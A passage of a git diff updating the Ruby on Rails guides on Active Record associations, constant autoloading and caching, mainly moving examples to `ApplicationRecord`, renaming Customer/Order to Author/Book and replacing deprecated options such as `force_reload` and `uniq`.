ApplicationRecord + belongs_to :author, -> { where active: true }, dependent: :destroy end ``` @@ -985,8 +1047,8 @@ You can use any of the standard [querying methods](active_record_querying.html) The `where` method lets you specify the conditions that the associated object must meet. ```ruby -class Order < ActiveRecord::Base - belongs_to :customer, -> { where active: true } +class book < ApplicationRecord + belongs_to :author, -> { where active: true } end ``` @@ -995,38 +1057,38 @@ end You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: ```ruby -class LineItem < ActiveRecord::Base - belongs_to :order +class LineItem < ApplicationRecord + belongs_to :book end -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author has_many :line_items end -class Customer < ActiveRecord::Base - has_many :orders +class Author < ApplicationRecord + has_many :books end ``` -If you frequently retrieve customers directly from line items (`@line_item.order.customer`), then you can make your code somewhat more efficient by including customers in the association from line items to orders: +If you frequently retrieve authors directly from line items (`@line_item.book.author`), then you can make your code somewhat more efficient by including authors in the association from line items to books: ```ruby -class LineItem < ActiveRecord::Base - belongs_to :order, -> { includes :customer } +class LineItem < ApplicationRecord + belongs_to :book, -> { includes :author } end -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author has_many :line_items end -class Customer < ActiveRecord::Base - has_many :orders +class Author < ApplicationRecord + has_many :books end ``` -NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Order belongs_to :customer`, then the customer is eager-loaded automatically when it's needed. +NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Book belongs_to :author`, then the author is eager-loaded automatically when it's needed. ##### `readonly` @@ -1043,8 +1105,8 @@ TIP: If you use the `select` method on a `belongs_to` association, you should al You can see if any associated objects exist by using the `association.nil?` method: ```ruby -if @order.customer.nil? - @msg = "No customer found for this order" +if @book.author.nil? + @msg = "No author found for this book" end ``` @@ -1060,7 +1122,7 @@ The `has_one` association creates a one-to-one match with another model. In data When you declare a `has_one` association, the declaring class automatically gains five methods related to the association: -* `association(force_reload = false)` +* `association` * `association=(associate)` * `build_association(attributes = {})` * `create_association(attributes = {})` @@ -1069,7 +1131,7 @@ When you declare a `has_one` association, the declaring class automatically gain In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account end ``` @@ -1086,7 +1148,7 @@ create_account! NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. -##### `association(force_reload = false)` +##### `association` The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`. @@ -1094,11 +1156,15 @@ The `association` method returns the associated object, if any. If no associated @account = @supplier.account ``` -If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument. +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object. + +```ruby +@account = @supplier.reload.account +``` ##### `association=(associate)` -The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value. +The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associated object's foreign key to the same value. ```ruby @supplier.account = @account @@ -1129,7 +1195,7 @@ Does the same as `create_association` above, but raises `ActiveRecord::RecordInv While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account, class_name: "Billing", dependent: :nullify end ``` @@ -1161,7 +1227,7 @@ If you set the `:autosave` option to `true`, Rails will save any loaded members If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account, class_name: "Billing" end ``` @@ -1179,15 +1245,15 @@ Controls what happens to the associated object when its owner is destroyed: It's necessary not to set or leave `:nullify` option for those associations that have `NOT NULL` database constraints. If you don't set `dependent` to destroy such associations you won't be able to change the associated object -because initial associated object foreign key will be set to unallowed `NULL` -value. +because the initial associated object's foreign key will be set to the +unallowed `NULL` value. ##### `:foreign_key` By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account, foreign_key: "supp_id" end ``` @@ -1199,11 +1265,11 @@ TIP: In any case, Rails will not create foreign key columns for you. You need to The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options. ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account, inverse_of: :supplier end -class Account < ActiveRecord::Base +class Account < ApplicationRecord belongs_to :supplier, inverse_of: :account end ``` @@ -1233,7 +1299,7 @@ If you set the `:validate` option to `true`, then associated objects will be val There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account, -> { where active: true } end ``` @@ -1250,7 +1316,7 @@ You can use any of the standard [querying methods](active_record_querying.html) The `where` method lets you specify the conditions that the associated object must meet. ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account, -> { where "confirmed = 1" } end ``` @@ -1260,16 +1326,16 @@ end You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account end -class Account < ActiveRecord::Base +class Account < ApplicationRecord belongs_to :supplier belongs_to :representative end -class Representative < ActiveRecord::Base +class Representative < ApplicationRecord has_many :accounts end ``` @@ -1277,16 +1343,16 @@ end If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account, -> { includes :representative } end -class Account < ActiveRecord::Base +class Account < ApplicationRecord belongs_to :supplier belongs_to :representative end -class Representative < ActiveRecord::Base +class Representative < ApplicationRecord has_many :accounts end ``` @@ -1327,7 +1393,7 @@ The `has_many` association creates a one-to-many relationship with another model When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association: -* `collection(force_reload = false)` +* `collection` * `collection<<(object, ...)` * `collection.delete(object, ...)` * `collection.destroy(object, ...)` @@ -1347,38 +1413,38 @@ When you declare a `has_many` association, the declaring class automatically gai In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: ```ruby -class Customer < ActiveRecord::Base - has_many :orders +class Author < ApplicationRecord + has_many :books end ``` -Each instance of the `Customer` model will have these methods: +Each instance of the `Author` model will have these methods: ```ruby -orders(force_reload = false) -orders<<(object, ...) -orders.delete(object, ...) -orders.destroy(object, ...) -orders=(objects) -order_ids -order_ids=(ids) -orders.clear -orders.empty? -orders.size -orders.find(...) -orders.where(...) -orders.exists?(...) -orders.build(attributes = {}, ...) -orders.create(attributes = {}) -orders.create!(attributes = {}) +books +books<<(object, ...) +books.delete(object, ...) +books.destroy(object, ...) +books=(objects) +book_ids +book_ids=(ids) +books.clear +books.empty? +books.size +books.find(...) +books.where(...) +books.exists?(...) +books.build(attributes = {}, ...) +books.create(attributes = {}) +books.create!(attributes = {}) ``` -##### `collection(force_reload = false)` +##### `collection` The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. ```ruby -@orders = @customer.orders +@books = @author.books ``` ##### `collection<<(object, ...)` @@ -1386,7 +1452,7 @@ The `collection` method returns an array of all of the associated objects. If th The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model. ```ruby -@customer.orders << @order1 +@author.books << @book1 ``` ##### `collection.delete(object, ...)` @@ -1394,7 +1460,7 @@ The `collection<<` method adds one or more objects to the collection by setting The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`. ```ruby -@customer.orders.delete(@order1) +@author.books.delete(@book1) ``` WARNING: Additionally, objects will be destroyed if they're associated with `dependent: :destroy`, and deleted if they're associated with `dependent: :delete_all`. @@ -1404,7 +1470,7 @@ WARNING: Additionally, objects will be destroyed if they're associated with `dep The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each object. ```ruby -@customer.orders.destroy(@order1) +@author.books.destroy(@book1) ``` WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option. @@ -1418,7 +1484,7 @@ The `collection=` method makes the collection contain only the supplied objects, The `collection_singular_ids` method returns an array of the ids of the objects in the collection. ```ruby -@order_ids = @customer.order_ids +@book_ids = @author.book_ids ``` ##### `collection_singular_ids=(ids)` @@ -1427,15 +1493,22 @@ The `collection_singular_ids=` method makes the collection contain only the obje ##### `collection.clear` -The `collection.clear` method removes every object from the collection. This destroys the associated objects if they are associated with `dependent: :destroy`, deletes them directly from the database if `dependent: :delete_all`, and otherwise sets their foreign keys to `NULL`. +The `collection.clear` method removes all objects from the collection according to the strategy specified by the `dependent` option. If no option is given, it follows the default strategy. The default strategy for `has_many :through` associations is `delete_all`, and for `has_many` associations is to set the foreign keys to `NULL`. + +```ruby +@author.books.clear +``` + +WARNING: Objects will be deleted if they're associated with `dependent: :destroy`, +just like `dependent: :delete_all`. ##### `collection.empty?` The `collection.empty?` method returns `true` if the collection does not contain any associated objects. ```erb -<% if @customer.orders.empty? %> - No Orders Found +<% if @author.books.empty? %> + No Books Found <% end %> ``` @@ -1444,7 +1517,7 @@ The `collection.empty?` method returns `true` if the collection does not contain The `collection.size` method returns the number of objects in the collection. ```ruby -@order_count = @customer.orders.size +@book_count = @author.books.size ``` ##### `collection.find(...)` @@ -1452,7 +1525,7 @@ The `collection.size` method returns the number of objects in the collection. The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. ```ruby -@open_orders = @customer.orders.find(1) +@available_books = @author.books.find(1) ``` ##### `collection.where(...)` @@ -1460,30 +1533,42 @@ The `collection.find` method finds objects within the collection. It uses the sa The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. ```ruby -@open_orders = @customer.orders.where(open: true) # No query yet -@open_order = @open_orders.first # Now the database will be queried +@available_books = @author.books.where(available: true) # No query yet +@available_book = @available_books.first # Now the database will be queried ``` ##### `collection.exists?(...)` -The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`. +The `collection.exists?` method checks whether an object meeting the supplied +conditions exists in the collection. It uses the same syntax and options as +[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F). ##### `collection.build(attributes = {}, ...)` -The `collection.build` method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved. +The `collection.build` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved. ```ruby -@order = @customer.orders.build(order_date: Time.now, - order_number: "A12345") +@book = @author.books.build(published_at: Time.now, + book_number: "A12345") + +@books = @author.books.build([ + { published_at: Time.now, book_number: "A12346" }, + { published_at: Time.now, book_number: "A12347" } +]) ``` ##### `collection.create(attributes = {})` -The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. +The `collection.create` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. ```ruby -@order = @customer.orders.create(order_date: Time.now, - order_number: "A12345") +@book = @author.books.create(published_at: Time.now, + book_number: "A12345") + +@books = @author.books.create([ + { published_at: Time.now, book_number: "A12346" }, + { published_at: Time.now, book_number: "A12347" } +]) ``` ##### `collection.create!(attributes = {})` @@ -1495,8 +1580,8 @@ Does the same as `collection.create` above, but raises `ActiveRecord::RecordInva While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: ```ruby -class Customer < ActiveRecord::Base - has_many :orders, dependent: :delete_all, validate: false +class Author < ApplicationRecord + has_many :books, dependent: :delete_all, validate: false end ``` @@ -1525,11 +1610,11 @@ If you set the `:autosave` option to `true`, Rails will save any loaded members ##### `:class_name` -If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is `Transaction`, you'd set things up this way: +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an author has many books, but the actual name of the model containing books is `Transaction`, you'd set things up this way: ```ruby -class Customer < ActiveRecord::Base - has_many :orders, class_name: "Transaction" +class Author < ApplicationRecord + has_many :books, class_name: "Transaction" end ``` @@ -1552,8 +1637,8 @@ Controls what happens to the associated objects when their owner is destroyed: By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: ```ruby -class Customer < ActiveRecord::Base - has_many :orders, foreign_key: "cust_id" +class Author < ApplicationRecord + has_many :books, foreign_key: "cust_id" end ``` @@ -1564,12 +1649,12 @@ TIP: In any case, Rails will not create foreign key columns for you. You need to The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options. ```ruby -class Customer < ActiveRecord::Base - has_many :orders, inverse_of: :customer +class Author < ApplicationRecord + has_many :books, inverse_of: :author end -class Order < ActiveRecord::Base - belongs_to :customer, inverse_of: :orders +class Book < ApplicationRecord + belongs_to :author, inverse_of: :books end ``` @@ -1577,18 +1662,19 @@ end By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option. -Let's say that `users` table has `id` as the primary_key but it also has -`guid` column. And the requirement is that `todos` table should hold -`guid` column value and not `id` value. This can be achieved like this +Let's say the `users` table has `id` as the primary_key but it also +has a `guid` column. The requirement is that the `todos` table should +hold the `guid` column value as the foreign key and not `id` +value. This can be achieved like this: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord has_many :todos, primary_key: :guid end ``` -Now if we execute `@user.todos.create` then `@todo` record will have -`user_id` value as the `guid` value of `@user`. +Now if we execute `@todo = @user.todos.create` then the `@todo` +record's `user_id` value will be the `guid` value of `@user`. ##### `:source` @@ -1612,8 +1698,8 @@ If you set the `:validate` option to `false`, then associated objects will not b There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example: ```ruby -class Customer < ActiveRecord::Base - has_many :orders, -> { where processed: true } +class Author < ApplicationRecord + has_many :books, -> { where processed: true } end ``` @@ -1628,29 +1714,29 @@ You can use any of the standard [querying methods](active_record_querying.html) * `order` * `readonly` * `select` -* `uniq` +* `distinct` ##### `where` The `where` method lets you specify the conditions that the associated object must meet. ```ruby -class Customer < ActiveRecord::Base - has_many :confirmed_orders, -> { where "confirmed = 1" }, - class_name: "Order" +class Author < ApplicationRecord + has_many :confirmed_books, -> { where "confirmed = 1" }, + class_name: "Book" end ``` You can also set conditions via a hash: ```ruby -class Customer < ActiveRecord::Base - has_many :confirmed_orders, -> { where confirmed: true }, - class_name: "Order" +class Author < ApplicationRecord + has_many :confirmed_books, -> { where confirmed: true }, + class_name: "Book" end ``` -If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@customer.confirmed_orders.create` or `@customer.confirmed_orders.build` will create orders where the confirmed column has the value `true`. +If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@author.confirmed_books.create` or `@author.confirmed_books.build` will create books where the confirmed column has the value `true`. ##### `extending` @@ -1661,9 +1747,9 @@ The `extending` method specifies a named module to extend the association proxy. The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL. ```ruby -class Customer < ActiveRecord::Base - has_many :line_items, -> { group 'orders.id' }, - through: :orders +class Author < ApplicationRecord + has_many :line_items, -> { group 'books.id' }, + through: :books end ``` @@ -1672,34 +1758,34 @@ end You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: ```ruby -class Customer < ActiveRecord::Base - has_many :orders +class Author < ApplicationRecord + has_many :books end -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author has_many :line_items end -class LineItem < ActiveRecord::Base - belongs_to :order +class LineItem < ApplicationRecord + belongs_to :book end ``` -If you frequently retrieve line items directly from customers (`@customer.orders.line_items`), then you can make your code somewhat more efficient by including line items in the association from customers to orders: +If you frequently retrieve line items directly from authors (`@author.books.line_items`), then you can make your code somewhat more efficient by including line items in the association from authors to books: ```ruby -class Customer < ActiveRecord::Base - has_many :orders, -> { includes :line_items } +class Author < ApplicationRecord + has_many :books, -> { includes :line_items } end -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author has_many :line_items end -class LineItem < ActiveRecord::Base - belongs_to :order +class LineItem < ApplicationRecord + belongs_to :book end ``` @@ -1708,10 +1794,10 @@ end The `limit` method lets you restrict the total number of objects that will be fetched through an association. ```ruby -class Customer < ActiveRecord::Base - has_many :recent_orders, - -> { order('order_date desc').limit(100) }, - class_name: "Order", +class Author < ApplicationRecord + has_many :recent_books, + -> { order('published_at desc').limit(100) }, + class_name: "Book", end ``` @@ -1724,8 +1810,8 @@ The `offset` method lets you specify the starting offset for fetching objects vi The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause). ```ruby -class Customer < ActiveRecord::Base - has_many :orders, -> { order "date_confirmed DESC" } +class Author < ApplicationRecord + has_many :books, -> { order "date_confirmed DESC" } end ``` @@ -1745,7 +1831,7 @@ Use the `distinct` method to keep the collection free of duplicates. This is mostly useful together with the `:through` option. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord has_many :readings has_many :articles, through: :readings end @@ -1784,11 +1870,21 @@ If you want to make sure that, upon insertion, all of the records in the persisted association are distinct (so that you can be sure that when you inspect the association that you will never find duplicate records), you should add a unique index on the table itself. For example, if you have a table named -`person_articles` and you want to make sure all the articles are unique, you could -add the following in a migration: +`readings` and you want to make sure the articles can only be added to a person once, +you could add the following in a migration: + +```ruby +add_index :readings, [:person_id, :article_id], unique: true +``` + +Once you have this unique index, attempting to add the article to a person twice +will raise an `ActiveRecord::RecordNotUnique` error: ```ruby -add_index :person_articles, :article, unique: true +person = Person.create(name: 'Honda') +article = Article.create(name: 'a1') +person.articles << article +person.articles << article # => ActiveRecord::RecordNotUnique ``` Note that checking for uniqueness using something like `include?` is subject @@ -1819,7 +1915,7 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association: -* `collection(force_reload = false)` +* `collection` * `collection<<(object, ...)` * `collection.delete(object, ...)` * `collection.destroy(object, ...)` @@ -1839,7 +1935,7 @@ When you declare a `has_and_belongs_to_many` association, the declaring class au In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: ```ruby -class Part < ActiveRecord::Base +class Part < ApplicationRecord has_and_belongs_to_many :assemblies end ``` @@ -1847,7 +1943,7 @@ end Each instance of the `Part` model will have these methods: ```ruby -assemblies(force_reload = false) +assemblies assemblies<<(object, ...) assemblies.delete(object, ...) assemblies.destroy(object, ...) @@ -1872,7 +1968,7 @@ If the join table for a `has_and_belongs_to_many` association has additional col WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`. -##### `collection(force_reload = false)` +##### `collection` The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. @@ -1964,7 +2060,9 @@ The `collection.where` method finds objects within the collection based on the c ##### `collection.exists?(...)` -The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`. +The `collection.exists?` method checks whether an object meeting the supplied +conditions exists in the collection. It uses the same syntax and options as +[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F). ##### `collection.build(attributes = {})` @@ -1991,7 +2089,7 @@ Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` i While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: ```ruby -class Parts < ActiveRecord::Base +class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { readonly }, autosave: true end @@ -2013,7 +2111,7 @@ By convention, Rails assumes that the column in the join table used to hold the TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord has_and_belongs_to_many :friends, class_name: "User", foreign_key: "this_user_id", @@ -2030,7 +2128,7 @@ If you set the `:autosave` option to `true`, Rails will save any loaded members If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way: ```ruby -class Parts < ActiveRecord::Base +class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, class_name: "Gadget" end ``` @@ -2040,7 +2138,7 @@ end By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord has_and_belongs_to_many :friends, class_name: "User", foreign_key: "this_user_id", @@ -2061,7 +2159,7 @@ If you set the `:validate` option to `false`, then associated objects will not b There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example: ```ruby -class Parts < ActiveRecord::Base +class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { where active: true } end ``` @@ -2077,14 +2175,14 @@ You can use any of the standard [querying methods](active_record_querying.html) * `order` * `readonly` * `select` -* `uniq` +* `distinct` ##### `where` The `where` method lets you specify the conditions that the associated object must meet. ```ruby -class Parts < ActiveRecord::Base +class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { where "factory = 'Seattle'" } end @@ -2093,7 +2191,7 @@ end You can also set conditions via a hash: ```ruby -class Parts < ActiveRecord::Base +class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { where factory: 'Seattle' } end @@ -2110,7 +2208,7 @@ The `extending` method specifies a named module to extend the association proxy. The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL. ```ruby -class Parts < ActiveRecord::Base +class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { group "factory" } end ``` @@ -2124,7 +2222,7 @@ You can use the `includes` method to specify second-order associations that shou The `limit` method lets you restrict the total number of objects that will be fetched through an association. ```ruby -class Parts < ActiveRecord::Base +class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { order("created_at DESC").limit(50) } end @@ -2139,7 +2237,7 @@ The `offset` method lets you specify the starting offset for fetching objects vi The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause). ```ruby -class Parts < ActiveRecord::Base +class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { order "assembly_name ASC" } end @@ -2153,9 +2251,9 @@ If you use the `readonly` method, then the associated objects will be read-only The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. -##### `uniq` +##### `distinct` -Use the `uniq` method to remove duplicates from the collection. +Use the `distinct` method to remove duplicates from the collection. #### When are Objects Saved? @@ -2181,10 +2279,10 @@ Association callbacks are similar to normal callbacks, but they are triggered by You define association callbacks by adding options to the association declaration. For example: ```ruby -class Customer < ActiveRecord::Base - has_many :orders, before_add: :check_credit_limit +class Author < ApplicationRecord + has_many :books, before_add: :check_credit_limit - def check_credit_limit(order) + def check_credit_limit(book) ... end end @@ -2195,15 +2293,15 @@ Rails passes the object being added or removed to the callback. You can stack callbacks on a single event by passing them as an array: ```ruby -class Customer < ActiveRecord::Base - has_many :orders, +class Author < ApplicationRecord + has_many :books, before_add: [:check_credit_limit, :calculate_shipping_charges] - def check_credit_limit(order) + def check_credit_limit(book) ... end - def calculate_shipping_charges(order) + def calculate_shipping_charges(book) ... end end @@ -2216,10 +2314,10 @@ If a `before_add` callback throws an exception, the object does not get added to You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example: ```ruby -class Customer < ActiveRecord::Base - has_many :orders do - def find_by_order_prefix(order_number) - find_by(region_id: order_number[0..2]) +class Author < ApplicationRecord + has_many :books do + def find_by_book_prefix(book_number) + find_by(category_id: book_number[0..2]) end end end @@ -2234,11 +2332,11 @@ module FindRecentExtension end end -class Customer < ActiveRecord::Base - has_many :orders, -> { extending FindRecentExtension } +class Author < ApplicationRecord + has_many :books, -> { extending FindRecentExtension } end -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_many :deliveries, -> { extending FindRecentExtension } end ``` @@ -2292,13 +2390,13 @@ associations, public methods, etc. Creating a car will save it in the `vehicles` table with "Car" as the `type` field: ```ruby -Car.create color: 'Red', price: 10000 +Car.create(color: 'Red', price: 10000) ``` will generate the following SQL: ```sql -INSERT INTO "vehicles" ("type", "color", "price") VALUES ("Car", "Red", 10000) +INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000) ``` Querying car records will just search for vehicles that are cars: diff --git a/guides/source/autoloading_and_reloading_constants.md b/guides/source/autoloading_and_reloading_constants.md index c6149abcba..246fde69d5 100644 --- a/guides/source/autoloading_and_reloading_constants.md +++ b/guides/source/autoloading_and_reloading_constants.md @@ -181,14 +181,14 @@ constant. That is, ```ruby -class Project < ActiveRecord::Base +class Project < ApplicationRecord end ``` performs a constant assignment equivalent to ```ruby -Project = Class.new(ActiveRecord::Base) +Project = Class.new(ApplicationRecord) ``` including setting the name of the class as a side-effect: @@ -466,9 +466,7 @@ by adding this to `config/application.rb`: config.autoload_paths << "#{Rails.root}/lib" ``` -`config.autoload_paths` is accessible from environment-specific configuration -files, but any changes made to it outside `config/application.rb` don't have any -effect. +`config.autoload_paths` is not changeable from environment-specific configuration files. The value of `autoload_paths` can be inspected. In a just generated application it is (edited): @@ -526,7 +524,7 @@ On the contrary, if `ApplicationController` is unknown, the constant is considered missing and an autoload is going to be attempted by Rails. In order to load `ApplicationController`, Rails iterates over `autoload_paths`. -First checks if `app/assets/application_controller.rb` exists. If it does not, +First it checks if `app/assets/application_controller.rb` exists. If it does not, which is normally the case, it continues and finds `app/controllers/application_controller.rb`. @@ -626,7 +624,7 @@ file is loaded. If the file actually defines `Post` all is fine, otherwise ### Qualified References When a qualified constant is missing Rails does not look for it in the parent -namespaces. But there is a caveat: When a constant is missing, Rails is +namespaces. But there is a caveat: when a constant is missing, Rails is unable to tell if the trigger was a relative reference or a qualified one. For example, consider @@ -687,7 +685,7 @@ to trigger the heuristic is defined in the conflicting place. ### Automatic Modules When a module acts as a namespace, Rails does not require the application to -defines a file for it, a directory matching the namespace is enough. +define a file for it, a directory matching the namespace is enough. Suppose an application has a back office whose controllers are stored in `app/controllers/admin`. If the `Admin` module is not yet loaded when @@ -792,7 +790,7 @@ Constant Reloading When `config.cache_classes` is false Rails is able to reload autoloaded constants. -For example, in you're in a console session and edit some file behind the +For example, if you're in a console session and edit some file behind the scenes, the code can be reloaded with the `reload!` command: ``` @@ -914,7 +912,7 @@ these classes: ```ruby # app/models/polygon.rb -class Polygon < ActiveRecord::Base +class Polygon < ApplicationRecord end # app/models/triangle.rb @@ -989,7 +987,7 @@ root class: ```ruby # app/models/polygon.rb -class Polygon < ActiveRecord::Base +class Polygon < ApplicationRecord end require_dependency ‘square’ ``` diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md index 716beb9178..6c734c1d78 100644 --- a/guides/source/caching_with_rails.md +++ b/guides/source/caching_with_rails.md @@ -1,14 +1,26 @@ **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** -Caching with Rails: An overview +Caching with Rails: An Overview =============================== -This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible. +This guide is an introduction to speeding up your Rails application with caching. + +Caching means to store content generated during the request-response cycle and +to reuse it when responding to similar requests. + +Caching is often the most effective way to boost an application's performance. +Through caching, web sites running on a single server with a single database +can sustain a load of thousands of concurrent users. + +Rails provides a set of caching features out of the box. This guide will teach +you the scope and purpose of each one of them. Master these techniques and your +Rails applications can serve millions of views without exorbitant response times +or server bills. After reading this guide, you will know: -* Page and action caching (moved to separate gems as of Rails 4). -* Fragment caching. +* Fragment and Russian doll caching. +* How to manage the caching dependencies. * Alternative cache stores. * Conditional GET support. @@ -18,19 +30,32 @@ Basic Caching ------------- This is an introduction to three types of caching techniques: page, action and -fragment caching. Rails provides by default fragment caching. In order to use -page and action caching, you will need to add `actionpack-page_caching` and +fragment caching. By default Rails provides fragment caching. In order to use +page and action caching you will need to add `actionpack-page_caching` and `actionpack-action_caching` to your Gemfile. -To start playing with caching you'll want to ensure that `config.action_controller.perform_caching` is set to `true`, if you're running in development mode. This flag is normally set in the corresponding `config/environments/*.rb` and caching is disabled by default for development and test, and 